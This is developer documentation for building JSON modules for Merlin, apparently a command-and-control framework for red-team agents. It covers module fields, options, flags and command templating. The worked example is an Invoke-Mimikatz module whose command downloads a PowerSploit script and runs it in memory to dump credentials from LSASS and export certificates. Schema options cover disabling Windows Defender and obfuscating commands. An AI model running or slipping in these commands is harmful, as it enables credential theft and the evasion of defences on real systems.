Building Modules

Modules are used to perform a set of pre-defined actions or execute a program on an agent. The modules are described using JavaScript Object Notation (JSON). Modules will be stored in platform/arch/language/type directories. Every module must have the base object and may have additional objects. Examples of the module structures can be found in the data/modules/templates directory. All keys used when describing a module will be lowercase (i.e. name and NOT Name).

Base

The base module is required and is the lowest level of describing a module and its function.

Module Base
Name	Type	Description	Example
type	string	`standard` or `extended`	“type”: “standard”
name	string	The name of the module	“name”: “MyModuleName”
author	array of strings	A list of the module’s authors	“author”: [“Russel Van Tuyl (@Ne0ndog)”]
credits	array of strings	A list of authors to credit original work leveraged in the module	“credits”: [“Joe Bialek (@JosephBialek)”, “Benjamin Delpy (@gentilkiwi)”]
path	array of strings	The file path to the module	“path”: [“C”, “windows”, “system32”]
platform	string	The target platform the module can run on	“platform”: “linux”
arch	string	The target architecture the module can run on	“arch”: “x64”
lang	string	The target language the module leverages	“lang”: “powershell” or “lang”: “bash”
privilege	bool	Does the module require elevated privileges?	“privilege”: true
notes	string	Miscellaneous notes about the module	“notes”: “This module doesn’t work well on Ubuntu 14.04”
remote	string	The remote path where the script associated with the module can be found	“remote”: “https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1”
local	array of strings	The local file system path where the script associated with the module can be found	“local”: [“data”, “src”, “PowerSploit”, “Exfiltration”, “Invoke-Mimikatz.ps1”]
options	array of objects	The configurable options for the module	“options”: [{“name”: “DumpCreds”, “value”: “true”, “required”: false, “description”:”[Switch]Use mimikatz to dump credentials out of LSASS.”}]
description	string	A description of the module and its function	“description”: “this script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory.”
commands	array of strings	A list of the commands to be executed on the host when running the script	“commands”: [“powershell.exe”, “-nop”, “-w”, “0”, “\\”IEX (New-Object Net.WebClient).DownloadString(’https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’);”,”Invoke-Mimikatz”, “{{DumpCreds.Flag}}”, “{{DumpCerts.Flag}}”, “{{Command}}”, “{{ComputerName}}”,”\\””]

Full Example:

{
  "base": {
    "type": "standard",
    "name": "Invoke-Mimikatz",
    "author": ["Russel Van Tuyl (@Ne0nd0g)"],
    "credits": ["Joe Bialek (@JosephBialek)", "Benjamin Delpy (@gentilkiwi)"],
    "path": ["windows", "x64", "powershell", "powersploit", "Invoke-Mimikatz.json"],
    "platform": "windows",
    "arch": "x64",
    "lang": "PowerShell",
    "privilege": true,
    "notes": "This is part of the PowerSploit project https://github.com/PowerShellMafia/PowerSploit",
    "remote": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1",
    "local": ["data", "src", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"],
    "options": [
      {"name": "DumpCreds", "value": "true", "required": false, "flag": "-DumpCreds", "description":"[Switch]Use mimikatz to dump credentials out of LSASS."},
      {"name": "DumpCerts", "value": null, "required": false, "flag": "-DumpCerts", "description":"[Switch]Use mimikatz to export all private certificates (even if they are marked non-exportable)."},
      {"name": "Command", "value": null, "required": false, "flag": "-Command", "description":"Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz \"privilege::debug exit\" as an example."},
      {"name": "ComputerName", "value": null, "required": false, "flag": "-ComputerName", "description":"Optional, an array of computernames to run the script on."}
    ],
    "description": "This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as dump credentials without ever writing the mimikatz binary to disk. The script has a ComputerName parameter which allows it to be executed against multiple computers. This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.",
    "commands": [
      "powershell.exe",
      "-nop",
      "-w 0",
      "\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');",
      "Invoke-Mimikatz",
      "{{DumpCreds.Flag}}",
      "{{DumpCerts.Flag}}",
      "{{Command}}",
      "{{ComputerName}}",
      "\""
    ]
  },
  "powershell": {
    "disableav": true,
    "obfuscate": false,
    "base64": false
  }
}

Type

Modules can be either standard or extended.

A STANDARD module does not leverage any Go packages or functions from the pkg/modules directory. Standard modules are best used to run a single command, or a series of commands, that leverage functionality and programs on the host where the agent is running. The data/modules/linux/x64/bash/exec/bash.json module is a standard module that takes a Command argument that is subsequently run in bash -c {{Command}}. This could be useful to abstract out command line arguments with easy to set options or to run a single command across all agents using set Agent all while in the module’s prompt.

An EXTENDED module DOES leverage code from an associated package pkg/modules. The sRDI module at data/modules/windows/x64/go/exec/sRDI.json is an example of an extended module that uses exported functions from the srdi package at pkg/modules/srdi/srdi.go. This extended module reads in a Windows DLL and returns shellcode that will be executed on the agent. The extended function’s code must be located in pkg/modules/<function>. The extended function’s code must expose a Parse() function that returns an array of strings that contain commands for the agent to interpret. Extended function must be programmed into the getExtendedCommand() function in modules.go and point to the module’s exported Parse() function.

Remote vs Local

When the module leverages a script, it can be accessed with either the local or remote values of the base module. The local specifies the file path on the server where the script can be found. Merlin DOES NOT ship with scripts. However, they should be copied to the data/source directory using something like Git. For example, you move into the data/source direct and do a git clone https://github.com/PowerShellMafia/PowerSploit.git. When the local source is used, the script is uploaded to the target from the server. When the remote source is used, the script is downloaded from that location to the target.

Options

The options uses a special data type that requires five parts.

{
    "options": [
        {"name": "host", "value": "google.com", "required": true, "flag": "", "description": "The host to ping"},
        {"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."},
        {"name": "help", "value": "true", "required": false, "flag": "-h", "description": "Show help."}
    ]
}

Module Base
Name	Type	Description	Example
name	string	The name of the option	“name”: “ComputerName”
value	string	The configured value for the option	“value”: “127.0.0.1”
required	bool	Is this option required?	“required”: false
flag	string	The command line flag for the option	“flag”: “-ComputerName”
description	string	A short description of the option	“description”: “The target computer name to run the script on”

Name

This is the name of the option that can be set by a user. This value is used as a variable in the commands section of the module file. The name is case sensitive (Name != name != NAME). An example option object looks like:

{"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."}

An example of setting the count option is:

Merlin[module][TEST]» set count 5
[+]count set to 5
Merlin[module][TEST]»

Using just the option’s name within double curly braces will return both the flag and value. For example {{count}} would be parsed and replaced with -c 3. The flag and value properties can be accessed individually if needed with {{count.Flag}} and {{count.Value}}.

Value

This is the value that the options has been set to. The value can be directly accessed in the commands section by using .Value after option’s name. This is ideal for positional arguments that do not have a flag or specify an application executable file name. An example option object that uses the value property is:

{"name": "host", "value": "google.com", "required": true, "flag": "", "description": "The host to ping"}

For example {{host.Value}} would be parsed and replaced with just the value of the host option (google.com).

If an option’s value is empty, it will not be ignored and not parsed.

Flag

The flag property is used to specify what the notation is for a specific argument when executing a command. The name property can be used in conjunction with the flag property when the flag is not descriptive enough to make sense. A command line flag could start with a variety of options like -, --, or /. An example option object that uses a flag property is:

{"name": "help", "value": "true", "required": false, "flag": "-h", "description": "Show help."}

Some applications use a flag with no value after it. A common example of this -h to view an application’s help information. A flag, WITHOUT its value can be accessed in the commands section with .Flag. For example {{help.Flag}} would be parsed and replaced with just -h. If you want to only use the flag, and not its value, then you must set its value to true. Using just the option’s name within double curly braces will return both the flag and value. For example {{help}} would be parsed and replaced with -h true.

Commands

The commands section of the module is used to provide the commands that are going to be executed on the host. The array should consist of every command in its own list item. You do not need to account for spaces. This is automatically done when the command is executed on the host.

You specify the location of an option by using double curly brace and the option’s name. This will be parsed and replaced with both the value and flag values from the option’s list entry. The option’s flag and value can be accessed individually. An example command section looks like:

{
    "options": [
        {"name": "host", "value": "google.com", "required": true, "flag": "", "description": "The host to ping"},
        {"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."},
        {"name": "help", "value": "", "required": false, "flag": "-h", "description": "Show help."}
    ],
    "commands": [
      "/bin/ping",
      "{{count}}",
      "{{host.Value}}"
    ]
}

This would get parsed as /bin/ping -c 3 google.com

If an option’s value is not set, it will be ignored. An example of accessing only an option’s flag while ignoring everything else is:

{
    "options": [
        {"name": "host", "value": "", "required": false, "flag": "", "description": "The host to ping"},
        {"name": "count", "value": "", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."},
        {"name": "help", "value": "true", "required": false, "flag": "-h", "description": "Show help."}
    ],
    "commands": [
      "/bin/ping",
      "{{help.Flag}}"
      "{{count}}",
      "{{host.Value}}"
    ]
}

This would get parsed as /bin/ping -h

Powershell

The powershell module is used to provide additional configuration options that pertain to PowerShell commands. Support for this module type is currently lacking. At this time is being used as placeholder for future development.

Module Base
Name	Type	Description	Example
disableav	bool	Should Windows Defender be disabled prior to running the command?	“disableav” : true
obfuscate	bool	Should the PowerShell command be obfuscated?	“obfuscate”: false
base64	bool	Should the command be Base64 encoded?	“base64”: true